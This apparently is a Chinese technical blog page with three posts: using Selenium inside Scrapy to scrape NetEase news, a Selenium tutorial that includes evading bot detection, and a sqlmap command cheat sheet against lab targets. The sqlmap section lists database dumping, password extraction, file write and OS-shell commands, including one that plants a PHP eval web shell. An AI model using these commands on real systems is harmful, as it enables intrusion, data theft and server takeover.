跳到主要内容

Linux 修行之路 · Blog

Linux修行之路 - 技术博客

分享Kubernetes、Linux、Python、网络安全等技术文章

文章数量169
技术分类9
查看分类
20

selenium 在 scrapy 中的使用

· 阅读需 5 分钟

一直以来,我们都是直接使用 scrapy 框架的 Request 模块进行网页数据的请求。但是如果网页中有动态加载的数据,这种方式就不容易实现了。

其实 scrapy 更多的处理的还是没有动态加载数据的页面。对于动态加载的页面,我们还是比较倾向于使用 requests。

但是如果真的有这么个需求,需要我们使用 scrapy 爬取动态页面的话,通过 selenium 发送请求获取数据,将会是一个不错的选择。

接下来,我们通过爬取网易新闻,来演示如何在 scrapy 中,使用 selenium 爬取数据。

需求:爬取网易新闻中的国内,国际,军事,航空,无人机这五个板块下所有的新闻数据(标题 + 内容)

网址 url:https://news.163.com/

分析:

  • 首页没有动态加载的数据,可以直接爬取到五个板块对应的 url
  • 每一个板块对应的页面中的新闻标题是动态加载,需要使用 selenium 爬取新闻标题和详情页的 url(关键)
  • 每一条新闻详情页面中的数据不是动态加载,在这里可以爬取到新闻内容

selenium 在 scrapy 中的使用流程

  1. 在爬虫类中实例化一个浏览器对象,将其作为爬虫类的一个属性
  2. 在中间件中实现浏览器自动化相关的操作
  3. 在爬虫类中重写 closed(self, spider) 方法,在其内部关闭浏览器对象

接下来,我们就按照流程,依次编写我们的代码。

首先,编写爬虫源文件中的代码,一切都按照正常思路走就行。先从首页到每个模块页,在模块页中拿到新闻的标题和详情页的 url。再从模块页进入到详情页,拿到文章内容。

用代码表示就是:

import scrapy
from selenium import webdriver
from wangyiPro.items import WangyiproItem

class WangyiSpider(scrapy.Spider):
name = 'wangyi'
# allowed_domains = ['news.163.com']
start_urls = ['http://news.163.com/']
module_urls = []
# 实例化了一个全局的浏览器对象,稍后在中间件中会用到
bro = webdriver.Chrome()

def parse(self, response):
# 国内,国际,军事,航空,无人机这五个板块的索引
target_list = [3, 4, 6, 7, 8]
li_list = response.xpath('//div[@class="ns_area list"]/ul/li')
for target in target_list:
li = li_list[target]
url = li.xpath('./a/@href').extract_first()
self.module_urls.append(url)
# 对每一个板块的url发起请求
yield scrapy.Request(url, callback=self.parse_module)

# 数据解析:新闻标题+新闻详情页的url(动态加载的数据)
def parse_module(self, response):
# 直接对response解析新闻标题数据是无法获取该数据(动态加载的数据)
# response是不满足当下需求的response,需要将其变成满足需求的response
# 满足需求的response就是包含了动态加载数据的response
# 满足需求的response和不满足的response区别在哪里?
# 区别就在于响应数据不同。我们可以使用中间件将不满足需求的响应对象中的响应数据篡改成包含
# 了动态加载数据的响应数据,将其变成满足需求的响应对象
div_list = response.xpath('//div[@class="newsdata_wrap"]/ul/li[1]/div/div')
for div in div_list:
url = div.xpath('./a/@href').extract_first()
title = div.xpath('./div/div[1]/h3/a/text()').extract_first()
if url and title: # 因为广告等原因,有些链接取不到url和title
item = WangyiproItem()
item['title'] = title
yield scrapy.Request(url, callback=self.parse_detail, meta={'item': item})

def parse_detail(self, response):
"""解析新闻详情"""
item = response.meta['item']
content = response.xpath('//div[@id="endText"]/p/text()').extract()
item['content'] = content
yield item

# 爬虫类父类的方法,该方法是在爬虫结束前最后一刻执行
def closed(self, spider):
self.bro.close()

但是这样是解析不出数据来的。因为我们前面分析过,模块页中的每个文章都是动态加载的。我们需要修改响应数据,让响应数据变成我们想要的那种,加载好了新闻链接和标题的网页数据。这就要在中间件中,通过 selenium 发送请求,获取数据了。

用代码实现就是:

from scrapy.http import HtmlResponse
from time import sleep

class WangyiproDownloaderMiddleware(object):
# 拦截所有的响应对象
# 整个工程发起的请求:1+5+n,相应也会有1+5+n个响应
# 只有指定的5个响应对象是不满足需求
# 只将不满足需求的5个指定的响应对象的响应数据进行篡改即可
def process_response(self, request, response, spider):
# 在所有拦截到的响应对象中找出指定的5个响应对象
if request.url in spider.module_urls:
bro = spider.bro
# response表示的就是指定的不满足需求的5个响应对象
# 篡改响应数据:首先先获取满足需求的响应数据,将其篡改到响应对象中即可
# 满足需求的响应数据就可以使用selenium获取
bro.get(request.url) # 对五个板块的url发起请求
sleep(2)
bro.execute_script('window.scrollTo(0, document.body.scrollHeight)')
sleep(2)
# 捕获到了板块页面中加载出来的全部数据(包含了动态加载的数据)
# response.text = bro.page_source
# 返回一个新的响应对象,新的对象替换原来不满足需求的旧的响应对象
return HtmlResponse(url=request.url, body=bro.page_source, encoding='utf-8', request=request)
return response # 1+n

剩下的就是在配置中开启管道和中间件,在 items 中写上相应字段,在管道中进行数据持久化存储,就不一一介绍了。

至此,我们实现了在 scrapy 中使用 selenium 发送请求。

selenium 介绍和安装

· 阅读需 6 分钟

selenium 介绍和安装

爬虫过程中,各种反爬机制让人头疼。由于动态网页的存在,明明浏览器看得见可以点击的东西,却不能直接通过 requests 请求得到。非要绕很多弯才能获取我们想要的数据。有的请求还要携带 cookie 和一些乱七八糟的字符串。

selenium 模块就是为了帮我们解决这些困扰而诞生的。

selenium 是一种基于浏览器的自动化的模块。

自动化的含义是,可以通过代码指定一些列的行为动作,然后将其作用到浏览器中。

因为 selenium 本身就是基于浏览器的,所以几乎不会受到反爬机制的束缚。

selenium 的安装:

pip install selenium

selenium 和爬虫之间的关联

  1. 便捷的捕获到任意形式动态加载的数据(可见即可得)
  2. 实现模拟登录

selenium 虽然能给我们带来很大的便捷,但是却有一个显著的缺点 -- 效率太低。因为每次爬取信息,都要打开浏览器。

在使用 selenium 之前,我们需要下载各种浏览器的驱动,注意驱动版本要和当前使用的浏览器版本相符合。

谷歌驱动下载:http://chromedriver.storage.googleapis.com/index.html

驱动下载好后,最好保存在环境变量中存在的文件夹中,比如 Python 安装目录的 bin 目录。这样,我们在使用 selenium 的时候,就不必每次都指定驱动了。

这里的示例,我把谷歌浏览器驱动放在了工作目录中,每次使用都要指定驱动的位置。

selenium 的基本使用流程如下:

from selenium import webdriver
from time import sleep
from lxml import etree
# 基于浏览器的驱动程序实例化一个浏览器对象
bro = webdriver.Chrome(executable_path='./chromedriver.exe')
# 对目的网站发起请求
bro.get('https://www.jd.com')
# 标签定位,最常用的是id和xpath定位
search_box = bro.find_element_by_xpath('//input[@id="key"]')
# 向标签中输入数据
search_box.send_keys('iphone X')

search_btn = bro.find_element_by_xpath('//button[@aria-label="搜索"]')
# 点击按钮
search_btn.click()

sleep(2)

# 在搜索结果页面进行滚轮向下滑动的操作(执行js操作:js注入)
bro.execute_script('window.scrollTo(0, document.body.scrollHeight)')
sleep(2)
bro.quit()

再看一个处理百度网页的例子:

from selenium import webdriver
from time import sleep

# 后面是你的浏览器驱动位置,记得前面加r'','r'是防止字符转义的
driver = webdriver.Chrome(r'./chromedriver.exe')
# 用get打开百度页面
driver.get("http://www.baidu.com")
# 查找页面的“设置”选项,并进行点击
driver.find_elements_by_link_text('设置')[0].click()
sleep(2)
# # 打开设置后找到“搜索设置”选项,设置为每页显示50条
driver.find_elements_by_link_text('搜索设置')[0].click()
sleep(2)

# 选中每页显示50条
m = driver.find_element_by_id('nr')
sleep(2)
m.find_element_by_xpath('//*[@id="nr"]/option[3]').click()
m.find_element_by_xpath('.//option[3]').click()
sleep(2)

# 点击保存设置
driver.find_elements_by_class_name("prefpanelgo")[0].click()
sleep(2)

# 处理弹出的警告页面 确定accept() 和 取消dismiss()
driver.switch_to.alert.accept()
sleep(2)
# 找到百度的输入框,并输入 美女
driver.find_element_by_id('kw').send_keys('美女')
sleep(2)
# 点击搜索按钮
driver.find_element_by_id('su').click()
sleep(2)
# 在打开的页面中找到第一个图片的标签,并打开这个页面
driver.find_element_by_xpath('//*[@id="1"]/div[1]/a[1]/img').click()
sleep(3)

# 关闭浏览器
driver.quit()

我们从前爬取过药监局的网页,那个网页时动态生成的。当时我们是通过浏览器的抓包工具,找到获取数据的请求,从而实现了页面信息的抓取。

如果使用 selenium,抓取动态网页将变得很容易。

需求:抓取药监局页面前三页所有企业名称信息

网址 url:http://125.35.6.84:81/xk/

url = 'http://125.35.6.84:81/xk/'
bro = webdriver.Chrome(executable_path='./chromedriver')
bro.get(url)
page_text_list = [] # 每一页的页面源码数据都会放到这里面
sleep(2)
# 捕获到当前页面对应的页面源码数据,也就是当前页面全部加载完毕后对应的所有的数据
page_text_list.append(bro.page_source)

for i in range(2):
next_btn = bro.find_element_by_id('pageIto_next')
next_btn.click()
sleep(1)
page_text_list.append(bro.page_source)

# 点击下一页
for page_text in page_text_list:
tree = etree.HTML(page_text)
text_list = tree.xpath('//ul[@id="gzlist"]//dl//text()')
for text in text_list:
print(text)

sleep(2)
bro.quit()

动作链 ActionChains

有时候,我们除了点击操作之外,还会有一些比如拖动等操作。这时候,就需要用到动作链。

bro = webdriver.Chrome(executable_path='./chromedriver.exe')
bro.get('https://www.runoob.com/try/try.php?filename=jqueryui-api-droppable')

# 如果通过find系列的函数进行标签定位,如果标签是存在于iframe下面,则会定位失败
# 解决方案:使用switch_to即可
bro.switch_to.frame('iframeResult')
div_tag = bro.find_element_by_id('draggable')

# 对div_tag进行滑动操作
action = webdriver.ActionChains(bro)
action.click_and_hold(div_tag) # 点击且长按

for i in range(4):
# perform让动作链立即执行
action.move_by_offset(10, 15).perform()
sleep(0.5)

sleep(2)
bro.quit()

让 selenium 规避检测

虽然 selenium 很强大,但依然有可能会漏出马脚,让人家检测出我们是在使用 selenium 发起的浏览器请求。有的网站会检测请求是否为 selenium 发起,如果是的话则让该次请求失败。

规避检测的方法是让 selenium 接管 chrome 浏览器。

实现步骤

  1. 必须将你电脑中安装的谷歌浏览器的主程序所在的目录找到,且将目录添加到环境变量中。

  2. 打开 cmd,在命令行中输入命令:

    chrome.exe --remote-debugging-port=9222 --user-data-dir="一个空文件夹的目录"

    指定执行结束后,会打开你本机安装好的谷歌浏览器。

  3. 执行如下代码:可以使用下述代码接管步骤 2 打开的真实的浏览器

    from selenium import webdriver
    from selenium.webdriver.chrome.options import Options

    chrome_options = Options()
    chrome_options.add_experimental_option("debuggerAddress", "127.0.0.1:9222")
    # 本机安装好谷歌的驱动程序路径
    chrome_driver = "./chromedriver.exe"

    driver = webdriver.Chrome(executable_path=chrome_driver,chrome_options=chrome_options)
    print(driver.title)

无头浏览器

我们看到,每次执行 selenium 代码,都要打开浏览器窗口,然后亲眼看着它操作。有的时候,如果不小心把鼠标放到浏览器的窗口里面,还有可能会影响到自动化程序的正常运行。

无头浏览器,就是将浏览器的页面隐藏起来,我们看不见它的操作。那么就不会在每次允许 selenium 代码的时候跳出窗口来犯我们。我们也不会因为误操作而影响程序的运行。

常用的无头浏览器有两个:

  • 谷歌无头浏览器(推荐)
  • phantomJs(停止维护)
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time

# 创建一个参数对象,用来控制chrome以无界面模式打开
chrome_options = Options()
chrome_options.add_argument('--headless')
chrome_options.add_argument('--disable-gpu')

# 创建浏览器对象
browser = webdriver.Chrome(executable_path='./chromedriver', chrome_options=chrome_options)

# 上网
url = 'https://www.baidu.com/'
browser.get(url)
time.sleep(3)
#截图
browser.save_screenshot('baidu.png')
print(browser.page_source)
browser.quit()

sqlmap使用手册

· 阅读需 4 分钟

基础流程:

判断是否有注入
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1"
查看所有数据库
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" --dbs
查看当前使用的数据库
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" --current-db
查看数据表
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" -D security --tables
查看列名
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" -D security -T users --columns

基础命令

-h/hh  查看基础/全部帮助命令
-v (1-6) 输出信息现实的详细程度
--batch 使用默认值
--current-db 获取当前数据库
--currnet-user 获取当前用户
-D 指定数据库
-T 指定数据表
-C 指定列
--dbs 列举全部数据库
--tables 列举全部表
--columns 列举全部字段
--dump 获取数据
--start 1 --stop 3

高级命令

  • 指定请求头
--cookie        sqlmap -u "http://192.168.88.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="security=low; PHPSESSID=453i5emq4gbjomrmpkrod5o5p1"
--user-agent sqlmap -u "xxx" --user-agent="xxx"
--referer
  • post型注入
-r			指定注入的数据包,  sqlmap -r "D:\1.txt" --batch 
--data 指定post型参数 sqlmap -u "http://192.168.88.128/dvwa/vulnerabilities/sqli/#" --batch --data="id=2&Submit=Submit" --cookie="security=low; PHPSESSID=453i5emq4gbjomrmpkrod5o5p1"
  • 提交数据和回显数据不在同一页面
--second-url
  • 文件读写
以下三个参数的执行需要mysql服务端配置secure_file_priv=""或者secure_file_priv="xx\xx\xx\"   (必须指定目标机绝对路径,而且写一句话一定要写入网站路径下才能连接菜刀)
--file-read 从目标机读取文件
--file-write 指定上传文件的本地路径
--file-dest 指定上传到目标服务器的路径
  • 执行SQL查询或者系统命令
--sql-query="SQL语句"
  • 注意:以下两条强烈建议不适用--batch执行,可以先用--batch发现注入后再单独执行下面两条。而且均已高权限来执行系统命令

    • --os-cmd="命令"

    • sqlmap -u "http://192.168.88.128/sqli/Less-1/?id=1" --os-cmd="echo ^<?php eval($_POST[a])\?^> > 5.php"

    • --os-shell 获得一个执行命令的shell

  • 查看数据库用户名和密码

--users					获取数据库用户名
--passwords 获取数据库用户密码

其他高级命令

-m       	指定批量url地址文件,e.g.   sqlmap -m list.txt 
--level 等级越高,尝试注入的payload越多。尝试注入的参数也越多。(1-5,默认是1)
--risk 风险等级,建议不去改变。(1-3,默认是1)
--tamper="unmagicquotes"
--delay 设置请求延迟时间,单位是秒,默认无延迟
--threads 设置线程(默认值1,最大值10)
-p 指定扫描的参数
参数后面加* 跑伪静态,e.g. sqlmap -u http://targeturl/param1/value1*/param2/value2/
--time-sec 指定时间延迟时间(默认5秒)
--proxy

不那么重要命令

-l     			跑工具的日志文件,如burp的日志文件 e.g.    sqlmap -l list.txt (burp->project options->logging->proxy->requests)
-g 测试注入Google的搜索结果中的GET参数
--param-del 变量分隔符(默认是&)
--random-agent 随机从自带的txt目录中选择user-agent
--method=GET/POST
--timeout 请求超时时间,浮点数,默认为30秒
--retries http(s)连接超时重试次数,默认3次
--randomize 长度,类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
--scope 过滤日志内容,通过正则表达式筛选扫描对象
--safe-url="127.0.0.1/sqli/less-1/?id=1" 设置目标网站能正常访问的地址作为安全链接地址
--safe-freq=3 访问安全链接地址的频率,即测试多少次后访问一次安全链接地址。
-o 同时开启三个优化配置
--skip 排除指定的扫描参数
--dbms 指定数据库种类和版本
--os 指定数据库服务器的系统,(如果是windows/linux就不用制定了)
-f/-b 获取目标系统的一些信息
-a 获取全部信息
--hostname 获取主机名
--privileges 获取当前用户权限
--answer 指定答案
--purge-output 清除output文件夹